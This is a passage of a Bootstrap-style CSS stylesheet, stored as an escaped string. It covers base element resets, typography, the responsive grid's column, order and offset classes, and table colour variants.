100%;\n -ms-text-size-adjust: 100%;\n -ms-overflow-style: scrollbar;\n -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n\nbody {\n margin: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #212529;\n text-align: left;\n background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\nhr {\n box-sizing: content-box;\n height: 0;\n overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: 0.5rem;\n}\n\np {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n text-decoration: underline;\n -webkit-text-decoration: underline dotted;\n text-decoration: underline dotted;\n cursor: help;\n border-bottom: 0;\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: 700;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0;\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic;\n}\n\nb,\nstrong {\n font-weight: bolder;\n}\n\nsmall {\n font-size: 80%;\n}\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -.25em;\n}\n\nsup {\n top: -.5em;\n}\n\na {\n color: #007bff;\n text-decoration: none;\n background-color: transparent;\n -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n color: #0056b3;\n text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\npre {\n margin-top: 0;\n margin-bottom: 1rem;\n overflow: auto;\n -ms-overflow-style: scrollbar;\n}\n\nfigure {\n margin: 0 0 1rem;\n}\n\nimg {\n vertical-align: middle;\n border-style: none;\n}\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\ntable {\n border-collapse: collapse;\n}\n\ncaption {\n padding-top: 0.75rem;\n padding-bottom: 0.75rem;\n color: #6c757d;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n text-align: inherit;\n}\n\nlabel {\n display: inline-block;\n margin-bottom: 0.5rem;\n}\n\nbutton {\n border-radius: 0;\n}\n\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible;\n}\n\nbutton,\nselect {\n text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box;\n padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto;\n resize: vertical;\n}\n\nfieldset {\n min-width: 0;\n padding: 0;\n margin: 0;\n border: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n max-width: 100%;\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit;\n white-space: normal;\n}\n\nprogress {\n vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n outline-offset: -2px;\n -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n font: inherit;\n -webkit-appearance: button;\n}\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item;\n cursor: pointer;\n}\n\ntemplate {\n display: none;\n}\n\n[hidden] {\n display: none !important;\n}\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n margin-bottom: 0.5rem;\n font-family: inherit;\n font-weight: 500;\n line-height: 1.2;\n color: inherit;\n}\n\nh1, .h1 {\n font-size: 2.5rem;\n}\n\nh2, .h2 {\n font-size: 2rem;\n}\n\nh3, .h3 {\n font-size: 1.75rem;\n}\n\nh4, .h4 {\n font-size: 1.5rem;\n}\n\nh5, .h5 {\n font-size: 1.25rem;\n}\n\nh6, .h6 {\n font-size: 1rem;\n}\n\n.lead {\n font-size: 1.25rem;\n font-weight: 300;\n}\n\n.display-1 {\n font-size: 6rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\n.display-2 {\n font-size: 5.5rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\n.display-3 {\n font-size: 4.5rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\n.display-4 {\n font-size: 3.5rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\nhr {\n margin-top: 1rem;\n margin-bottom: 1rem;\n border: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n}\n\nsmall,\n.small {\n font-size: 80%;\n font-weight: 400;\n}\n\nmark,\n.mark {\n padding: 0.2em;\n background-color: #fcf8e3;\n}\n\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n\n.list-inline {\n padding-left: 0;\n list-style: none;\n}\n\n.list-inline-item {\n display: inline-block;\n}\n\n.list-inline-item:not(:last-child) {\n margin-right: 0.5rem;\n}\n\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\n\n.blockquote {\n margin-bottom: 1rem;\n font-size: 1.25rem;\n}\n\n.blockquote-footer {\n display: block;\n font-size: 80%;\n color: #6c757d;\n}\n\n.blockquote-footer::before {\n content: \"\\2014 \\00A0\";\n}\n\n.img-fluid {\n max-width: 100%;\n height: auto;\n}\n\n.img-thumbnail {\n padding: 0.25rem;\n background-color: #fff;\n border: 1px solid #dee2e6;\n border-radius: 0.25rem;\n max-width: 100%;\n height: auto;\n}\n\n.figure {\n display: inline-block;\n}\n\n.figure-img {\n margin-bottom: 0.5rem;\n line-height: 1;\n}\n\n.figure-caption {\n font-size: 90%;\n color: #6c757d;\n}\n\ncode,\nkbd,\npre,\nsamp {\n font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\ncode {\n font-size: 87.5%;\n color: #e83e8c;\n word-break: break-word;\n}\n\na > code {\n color: inherit;\n}\n\nkbd {\n padding: 0.2rem 0.4rem;\n font-size: 87.5%;\n color: #fff;\n background-color: #212529;\n border-radius: 0.2rem;\n}\n\nkbd kbd {\n padding: 0;\n font-size: 100%;\n font-weight: 700;\n}\n\npre {\n display: block;\n font-size: 87.5%;\n color: #212529;\n}\n\npre code {\n font-size: inherit;\n color: inherit;\n word-break: normal;\n}\n\n.pre-scrollable {\n max-height: 340px;\n overflow-y: scroll;\n}\n\n.container {\n width: 100%;\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n}\n\n@media (min-width: 576px) {\n .container {\n max-width: 540px;\n }\n}\n\n@media (min-width: 768px) {\n .container {\n max-width: 720px;\n }\n}\n\n@media (min-width: 992px) {\n .container {\n max-width: 960px;\n }\n}\n\n@media (min-width: 1200px) {\n .container {\n max-width: 1140px;\n }\n}\n\n.container-fluid {\n width: 100%;\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n}\n\n.row {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n margin-right: -15px;\n margin-left: -15px;\n}\n\n.no-gutters {\n margin-right: 0;\n margin-left: 0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n padding-right: 0;\n padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n position: relative;\n width: 100%;\n min-height: 1px;\n padding-right: 15px;\n padding-left: 15px;\n}\n\n.col {\n -ms-flex-preferred-size: 0;\n flex-basis: 0;\n -ms-flex-positive: 1;\n flex-grow: 1;\n max-width: 100%;\n}\n\n.col-auto {\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n}\n\n.col-1 {\n -ms-flex: 0 0 8.333333%;\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n}\n\n.col-2 {\n -ms-flex: 0 0 16.666667%;\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n}\n\n.col-3 {\n -ms-flex: 0 0 25%;\n flex: 0 0 25%;\n max-width: 25%;\n}\n\n.col-4 {\n -ms-flex: 0 0 33.333333%;\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n}\n\n.col-5 {\n -ms-flex: 0 0 41.666667%;\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n}\n\n.col-6 {\n -ms-flex: 0 0 50%;\n flex: 0 0 50%;\n max-width: 50%;\n}\n\n.col-7 {\n -ms-flex: 0 0 58.333333%;\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n}\n\n.col-8 {\n -ms-flex: 0 0 66.666667%;\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n}\n\n.col-9 {\n -ms-flex: 0 0 75%;\n flex: 0 0 75%;\n max-width: 75%;\n}\n\n.col-10 {\n -ms-flex: 0 0 83.333333%;\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n}\n\n.col-11 {\n -ms-flex: 0 0 91.666667%;\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n}\n\n.col-12 {\n -ms-flex: 0 0 100%;\n flex: 0 0 100%;\n max-width: 100%;\n}\n\n.order-first {\n -ms-flex-order: -1;\n order: -1;\n}\n\n.order-last {\n -ms-flex-order: 13;\n order: 13;\n}\n\n.order-0 {\n -ms-flex-order: 0;\n order: 0;\n}\n\n.order-1 {\n -ms-flex-order: 1;\n order: 1;\n}\n\n.order-2 {\n -ms-flex-order: 2;\n order: 2;\n}\n\n.order-3 {\n -ms-flex-order: 3;\n order: 3;\n}\n\n.order-4 {\n -ms-flex-order: 4;\n order: 4;\n}\n\n.order-5 {\n -ms-flex-order: 5;\n order: 5;\n}\n\n.order-6 {\n -ms-flex-order: 6;\n order: 6;\n}\n\n.order-7 {\n -ms-flex-order: 7;\n order: 7;\n}\n\n.order-8 {\n -ms-flex-order: 8;\n order: 8;\n}\n\n.order-9 {\n -ms-flex-order: 9;\n order: 9;\n}\n\n.order-10 {\n -ms-flex-order: 10;\n order: 10;\n}\n\n.order-11 {\n -ms-flex-order: 11;\n order: 11;\n}\n\n.order-12 {\n -ms-flex-order: 12;\n order: 12;\n}\n\n.offset-1 {\n margin-left: 8.333333%;\n}\n\n.offset-2 {\n margin-left: 16.666667%;\n}\n\n.offset-3 {\n margin-left: 25%;\n}\n\n.offset-4 {\n margin-left: 33.333333%;\n}\n\n.offset-5 {\n margin-left: 41.666667%;\n}\n\n.offset-6 {\n margin-left: 50%;\n}\n\n.offset-7 {\n margin-left: 58.333333%;\n}\n\n.offset-8 {\n margin-left: 66.666667%;\n}\n\n.offset-9 {\n margin-left: 75%;\n}\n\n.offset-10 {\n margin-left: 83.333333%;\n}\n\n.offset-11 {\n margin-left: 91.666667%;\n}\n\n@media (min-width: 576px) {\n .col-sm {\n -ms-flex-preferred-size: 0;\n flex-basis: 0;\n -ms-flex-positive: 1;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-sm-auto {\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-sm-1 {\n -ms-flex: 0 0 8.333333%;\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-sm-2 {\n -ms-flex: 0 0 16.666667%;\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-sm-3 {\n -ms-flex: 0 0 25%;\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-sm-4 {\n -ms-flex: 0 0 33.333333%;\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-sm-5 {\n -ms-flex: 0 0 41.666667%;\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-sm-6 {\n -ms-flex: 0 0 50%;\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-sm-7 {\n -ms-flex: 0 0 58.333333%;\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-sm-8 {\n -ms-flex: 0 0 66.666667%;\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-sm-9 {\n -ms-flex: 0 0 75%;\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-sm-10 {\n -ms-flex: 0 0 83.333333%;\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-sm-11 {\n -ms-flex: 0 0 91.666667%;\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-sm-12 {\n -ms-flex: 0 0 100%;\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-sm-first {\n -ms-flex-order: -1;\n order: -1;\n }\n .order-sm-last {\n -ms-flex-order: 13;\n order: 13;\n }\n .order-sm-0 {\n -ms-flex-order: 0;\n order: 0;\n }\n .order-sm-1 {\n -ms-flex-order: 1;\n order: 1;\n }\n .order-sm-2 {\n -ms-flex-order: 2;\n order: 2;\n }\n .order-sm-3 {\n -ms-flex-order: 3;\n order: 3;\n }\n .order-sm-4 {\n -ms-flex-order: 4;\n order: 4;\n }\n .order-sm-5 {\n -ms-flex-order: 5;\n order: 5;\n }\n .order-sm-6 {\n -ms-flex-order: 6;\n order: 6;\n }\n .order-sm-7 {\n -ms-flex-order: 7;\n order: 7;\n }\n .order-sm-8 {\n -ms-flex-order: 8;\n order: 8;\n }\n .order-sm-9 {\n -ms-flex-order: 9;\n order: 9;\n }\n .order-sm-10 {\n -ms-flex-order: 10;\n order: 10;\n }\n .order-sm-11 {\n -ms-flex-order: 11;\n order: 11;\n }\n .order-sm-12 {\n -ms-flex-order: 12;\n order: 12;\n }\n .offset-sm-0 {\n margin-left: 0;\n }\n .offset-sm-1 {\n margin-left: 8.333333%;\n }\n .offset-sm-2 {\n margin-left: 16.666667%;\n }\n .offset-sm-3 {\n margin-left: 25%;\n }\n .offset-sm-4 {\n margin-left: 33.333333%;\n }\n .offset-sm-5 {\n margin-left: 41.666667%;\n }\n .offset-sm-6 {\n margin-left: 50%;\n }\n .offset-sm-7 {\n margin-left: 58.333333%;\n }\n .offset-sm-8 {\n margin-left: 66.666667%;\n }\n .offset-sm-9 {\n margin-left: 75%;\n }\n .offset-sm-10 {\n margin-left: 83.333333%;\n }\n .offset-sm-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 768px) {\n .col-md {\n -ms-flex-preferred-size: 0;\n flex-basis: 0;\n -ms-flex-positive: 1;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-md-auto {\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-md-1 {\n -ms-flex: 0 0 8.333333%;\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-md-2 {\n -ms-flex: 0 0 16.666667%;\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-md-3 {\n -ms-flex: 0 0 25%;\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-md-4 {\n -ms-flex: 0 0 33.333333%;\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-md-5 {\n -ms-flex: 0 0 41.666667%;\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-md-6 {\n -ms-flex: 0 0 50%;\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-md-7 {\n -ms-flex: 0 0 58.333333%;\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-md-8 {\n -ms-flex: 0 0 66.666667%;\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-md-9 {\n -ms-flex: 0 0 75%;\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-md-10 {\n -ms-flex: 0 0 83.333333%;\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-md-11 {\n -ms-flex: 0 0 91.666667%;\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-md-12 {\n -ms-flex: 0 0 100%;\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-md-first {\n -ms-flex-order: -1;\n order: -1;\n }\n .order-md-last {\n -ms-flex-order: 13;\n order: 13;\n }\n .order-md-0 {\n -ms-flex-order: 0;\n order: 0;\n }\n .order-md-1 {\n -ms-flex-order: 1;\n order: 1;\n }\n .order-md-2 {\n -ms-flex-order: 2;\n order: 2;\n }\n .order-md-3 {\n -ms-flex-order: 3;\n order: 3;\n }\n .order-md-4 {\n -ms-flex-order: 4;\n order: 4;\n }\n .order-md-5 {\n -ms-flex-order: 5;\n order: 5;\n }\n .order-md-6 {\n -ms-flex-order: 6;\n order: 6;\n }\n .order-md-7 {\n -ms-flex-order: 7;\n order: 7;\n }\n .order-md-8 {\n -ms-flex-order: 8;\n order: 8;\n }\n .order-md-9 {\n -ms-flex-order: 9;\n order: 9;\n }\n .order-md-10 {\n -ms-flex-order: 10;\n order: 10;\n }\n .order-md-11 {\n -ms-flex-order: 11;\n order: 11;\n }\n .order-md-12 {\n -ms-flex-order: 12;\n order: 12;\n }\n .offset-md-0 {\n margin-left: 0;\n }\n .offset-md-1 {\n margin-left: 8.333333%;\n }\n .offset-md-2 {\n margin-left: 16.666667%;\n }\n .offset-md-3 {\n margin-left: 25%;\n }\n .offset-md-4 {\n margin-left: 33.333333%;\n }\n .offset-md-5 {\n margin-left: 41.666667%;\n }\n .offset-md-6 {\n margin-left: 50%;\n }\n .offset-md-7 {\n margin-left: 58.333333%;\n }\n .offset-md-8 {\n margin-left: 66.666667%;\n }\n .offset-md-9 {\n margin-left: 75%;\n }\n .offset-md-10 {\n margin-left: 83.333333%;\n }\n .offset-md-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 992px) {\n .col-lg {\n -ms-flex-preferred-size: 0;\n flex-basis: 0;\n -ms-flex-positive: 1;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-lg-auto {\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-lg-1 {\n -ms-flex: 0 0 8.333333%;\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-lg-2 {\n -ms-flex: 0 0 16.666667%;\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-lg-3 {\n -ms-flex: 0 0 25%;\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-lg-4 {\n -ms-flex: 0 0 33.333333%;\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-lg-5 {\n -ms-flex: 0 0 41.666667%;\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-lg-6 {\n -ms-flex: 0 0 50%;\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-lg-7 {\n -ms-flex: 0 0 58.333333%;\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-lg-8 {\n -ms-flex: 0 0 66.666667%;\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-lg-9 {\n -ms-flex: 0 0 75%;\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-lg-10 {\n -ms-flex: 0 0 83.333333%;\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-lg-11 {\n -ms-flex: 0 0 91.666667%;\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-lg-12 {\n -ms-flex: 0 0 100%;\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-lg-first {\n -ms-flex-order: -1;\n order: -1;\n }\n .order-lg-last {\n -ms-flex-order: 13;\n order: 13;\n }\n .order-lg-0 {\n -ms-flex-order: 0;\n order: 0;\n }\n .order-lg-1 {\n -ms-flex-order: 1;\n order: 1;\n }\n .order-lg-2 {\n -ms-flex-order: 2;\n order: 2;\n }\n .order-lg-3 {\n -ms-flex-order: 3;\n order: 3;\n }\n .order-lg-4 {\n -ms-flex-order: 4;\n order: 4;\n }\n .order-lg-5 {\n -ms-flex-order: 5;\n order: 5;\n }\n .order-lg-6 {\n -ms-flex-order: 6;\n order: 6;\n }\n .order-lg-7 {\n -ms-flex-order: 7;\n order: 7;\n }\n .order-lg-8 {\n -ms-flex-order: 8;\n order: 8;\n }\n .order-lg-9 {\n -ms-flex-order: 9;\n order: 9;\n }\n .order-lg-10 {\n -ms-flex-order: 10;\n order: 10;\n }\n .order-lg-11 {\n -ms-flex-order: 11;\n order: 11;\n }\n .order-lg-12 {\n -ms-flex-order: 12;\n order: 12;\n }\n .offset-lg-0 {\n margin-left: 0;\n }\n .offset-lg-1 {\n margin-left: 8.333333%;\n }\n .offset-lg-2 {\n margin-left: 16.666667%;\n }\n .offset-lg-3 {\n margin-left: 25%;\n }\n .offset-lg-4 {\n margin-left: 33.333333%;\n }\n .offset-lg-5 {\n margin-left: 41.666667%;\n }\n .offset-lg-6 {\n margin-left: 50%;\n }\n .offset-lg-7 {\n margin-left: 58.333333%;\n }\n .offset-lg-8 {\n margin-left: 66.666667%;\n }\n .offset-lg-9 {\n margin-left: 75%;\n }\n .offset-lg-10 {\n margin-left: 83.333333%;\n }\n .offset-lg-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 1200px) {\n .col-xl {\n -ms-flex-preferred-size: 0;\n flex-basis: 0;\n -ms-flex-positive: 1;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-xl-auto {\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-xl-1 {\n -ms-flex: 0 0 8.333333%;\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-xl-2 {\n -ms-flex: 0 0 16.666667%;\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-xl-3 {\n -ms-flex: 0 0 25%;\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-xl-4 {\n -ms-flex: 0 0 33.333333%;\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-xl-5 {\n -ms-flex: 0 0 41.666667%;\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-xl-6 {\n -ms-flex: 0 0 50%;\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-xl-7 {\n -ms-flex: 0 0 58.333333%;\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-xl-8 {\n -ms-flex: 0 0 66.666667%;\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-xl-9 {\n -ms-flex: 0 0 75%;\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-xl-10 {\n -ms-flex: 0 0 83.333333%;\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-xl-11 {\n -ms-flex: 0 0 91.666667%;\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-xl-12 {\n -ms-flex: 0 0 100%;\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-xl-first {\n -ms-flex-order: -1;\n order: -1;\n }\n .order-xl-last {\n -ms-flex-order: 13;\n order: 13;\n }\n .order-xl-0 {\n -ms-flex-order: 0;\n order: 0;\n }\n .order-xl-1 {\n -ms-flex-order: 1;\n order: 1;\n }\n .order-xl-2 {\n -ms-flex-order: 2;\n order: 2;\n }\n .order-xl-3 {\n -ms-flex-order: 3;\n order: 3;\n }\n .order-xl-4 {\n -ms-flex-order: 4;\n order: 4;\n }\n .order-xl-5 {\n -ms-flex-order: 5;\n order: 5;\n }\n .order-xl-6 {\n -ms-flex-order: 6;\n order: 6;\n }\n .order-xl-7 {\n -ms-flex-order: 7;\n order: 7;\n }\n .order-xl-8 {\n -ms-flex-order: 8;\n order: 8;\n }\n .order-xl-9 {\n -ms-flex-order: 9;\n order: 9;\n }\n .order-xl-10 {\n -ms-flex-order: 10;\n order: 10;\n }\n .order-xl-11 {\n -ms-flex-order: 11;\n order: 11;\n }\n .order-xl-12 {\n -ms-flex-order: 12;\n order: 12;\n }\n .offset-xl-0 {\n margin-left: 0;\n }\n .offset-xl-1 {\n margin-left: 8.333333%;\n }\n .offset-xl-2 {\n margin-left: 16.666667%;\n }\n .offset-xl-3 {\n margin-left: 25%;\n }\n .offset-xl-4 {\n margin-left: 33.333333%;\n }\n .offset-xl-5 {\n margin-left: 41.666667%;\n }\n .offset-xl-6 {\n margin-left: 50%;\n }\n .offset-xl-7 {\n margin-left: 58.333333%;\n }\n .offset-xl-8 {\n margin-left: 66.666667%;\n }\n .offset-xl-9 {\n margin-left: 75%;\n }\n .offset-xl-10 {\n margin-left: 83.333333%;\n }\n .offset-xl-11 {\n margin-left: 91.666667%;\n }\n}\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 1rem;\n background-color: transparent;\n}\n\n.table th,\n.table td {\n padding: 0.75rem;\n vertical-align: top;\n border-top: 1px solid #dee2e6;\n}\n\n.table thead th {\n vertical-align: bottom;\n border-bottom: 2px solid #dee2e6;\n}\n\n.table tbody + tbody {\n border-top: 2px solid #dee2e6;\n}\n\n.table .table {\n background-color: #fff;\n}\n\n.table-sm th,\n.table-sm td {\n padding: 0.3rem;\n}\n\n.table-bordered {\n border: 1px solid #dee2e6;\n}\n\n.table-bordered th,\n.table-bordered td {\n border: 1px solid #dee2e6;\n}\n\n.table-bordered thead th,\n.table-bordered thead td {\n border-bottom-width: 2px;\n}\n\n.table-borderless th,\n.table-borderless td,\n.table-borderless thead th,\n.table-borderless tbody + tbody {\n border: 0;\n}\n\n.table-striped tbody tr:nth-of-type(odd) {\n background-color: rgba(0, 0, 0, 0.05);\n}\n\n.table-hover tbody tr:hover {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-primary,\n.table-primary > th,\n.table-primary > td {\n background-color: #b8daff;\n}\n\n.table-hover .table-primary:hover {\n background-color: #9fcdff;\n}\n\n.table-hover .table-primary:hover > td,\n.table-hover .table-primary:hover > th {\n background-color: #9fcdff;\n}\n\n.table-secondary,\n.table-secondary > th,\n.table-secondary > td {\n background-color: #d6d8db;\n}\n\n.table-hover .table-secondary:hover {\n background-color: #c8cbcf;\n}\n\n.table-hover .table-secondary:hover > td,\n.table-hover .table-secondary:hover > th {\n background-color: #c8cbcf;\n}\n\n.table-success,\n.table-success > th,\n.table-success > td {\n background-color: #c3e6cb;\n}\n\n.table-hover .table-success:hover {\n background-color: #b1dfbb;\n}\n\n.table-hover .table-success:hover > td,\n.table-hover .table-success:hover > th {\n background-color: #b1dfbb;\n}\n\n.table-info,\n.table-info > th,\n.table-info > td {\n background-color: #bee5eb;\n}\n\n.table-hover .table-info:hover {\n background-color: #abdde5;\n}\n\n.table-hover .table-info:hover > td,\n.table-hover .table-info:hover > th {\n background-color: #abdde5;\n}\n\n.table-warning,\n.table-warning > th,\n.table-warning > td {\n background-color: #ffeeba;\n}\n\n.table-hover .table-warning:hover {\n background-color: #ffe8a1;\n}\n\n.table-hover .table-warning:hover > td,\n.table-hover .table-warning:hover > th {\n background-color: #ffe8a1;\n}\n\n.table-danger,\n.table-danger > th,\n.table-danger > td {\n background-color: #f5c6cb;\n}\n\n.table-hover .table-danger:hover {\n background-color: #f1b0b7;\n}\n\n.table-hover .table-danger:hover > td,\n.table-hover .table-danger:hover > th {\n background-color: #f1b0b7;\n}\n\n.table-light,\n.table-light > th,\n.table-light > td {\n background-color: #fdfdfe;\n}\n\n.table-hover .table-light:hover {\n background-color: #ececf6;\n}\n\n.table-hover .table-light:hover > td,\n.table-hover .table-light:hover > th {\n background-color: #ececf6;\n}\n\n.table-dark,\n.table-dark > th,\n.table-dark > td {\n background-color: 